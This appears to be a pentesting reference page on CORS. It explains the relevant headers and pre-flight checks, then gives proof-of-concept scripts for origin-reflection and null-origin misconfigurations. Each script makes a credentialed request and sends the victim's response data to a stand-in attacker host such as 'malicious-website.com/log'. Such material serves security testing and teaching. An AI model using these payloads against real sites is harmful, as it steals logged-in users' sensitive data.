CORS

Cross Origin Resource Sharing.

It is a W3C-defined mechanism that enables client-side cross-origin requests. It specifies how the browser and web server must communicate with each other to bypass SOP. To do this specific HTTP headers must be used, and they are called Control Access Headers (they are not part of the HTTP/1.1 standard).

Headers

Access-Control-Allow-Origin

Is used to specify which domains are authorized to access a resource on a server other than their own. This header is inserted in the server response, and allows or blocks requests from a specific source. In other words indicates if the response can be shared with the requesting code from the specified origin (Origin field).

Access-Control-Allow-Origin: * 
Access-Control-Allow-Origin: <single_origin>
Access-Control-Allow-Origin: null

Typically, programmers allow access to a single but dynamically generated origin only if that origin is allowed, reflecting the request origin field in Access-Control-Allow-Origin if it meets certain characteristics (regex).

bank.com --> maliciousbank.com, bank.com.malicious.com

Access-Control-Allow-Credentials

The browser will permit the requesting website to read the response of requests that contain credentials such as cookies and the authorization header, because the Access-Control-Allow-Credentials response header is set to true. Otherwise, the browser will not allow access to the response.

It cannot be matched with Access-Control-Allow-Origin: * .

Access-Control-Allow-Origin: <single_origin>
Access-Control-Allow-Credentials: true
withCredentials

Pre-flight checks

Under certain circumstances, when a cross-domain request includes a non-standard HTTP method or headers, the cross-origin request is preceded by a request using the OPTIONS method, and the CORS protocol necessitates an initial check on what methods and headers are permitted prior to allowing the cross-origin request. This is called the pre-flight check. The server returns a list of allowed methods in addition to the trusted origin and the browser checks to see if the requesting website's method is allowed.

Attacks

URL Validation Bypass for Origin Header

Base

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
// req.setRequestHeader('Origin', 'https://origin.com');
req.send();
function reqListener() {
	location='//malicious-website.com/log?key='+encodeURIComponent(this.responseText);
};
</script>
<script>
var xhr = new XMLHttpRequest();
var url = "https://vulnerable-site.com"
xhr.onreadystatechange = function() {
   if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch("/log?key=" + xhr.responseText)
   }
}
xhr.open('GET', url + "/accountDetails", true);
xhr.withCredentials = true; // if server have Access-Control-Allow-Credentials: true
// xhr.setRequestHeader('Origin', 'https://origin.com');
xhr.send(null);
</script>

Null

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe style="display: none;" sandbox="allow-scripts" srcdoc="
<script>
var xhr = new XMLHttpRequest();
var url = 'https://vulnerable-site.com'
xhr.onreadystatechange = function() {
   if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch('http://atacker-server:port/log?key=' + xhr.responseText)
   }
}
xhr.open('GET', url + '/accountDetails', true);
xhr.withCredentials = true; // only if server have Access-Control-Allow-Credentials: true
xhr.send(null);
</script>"></iframe>

Last updated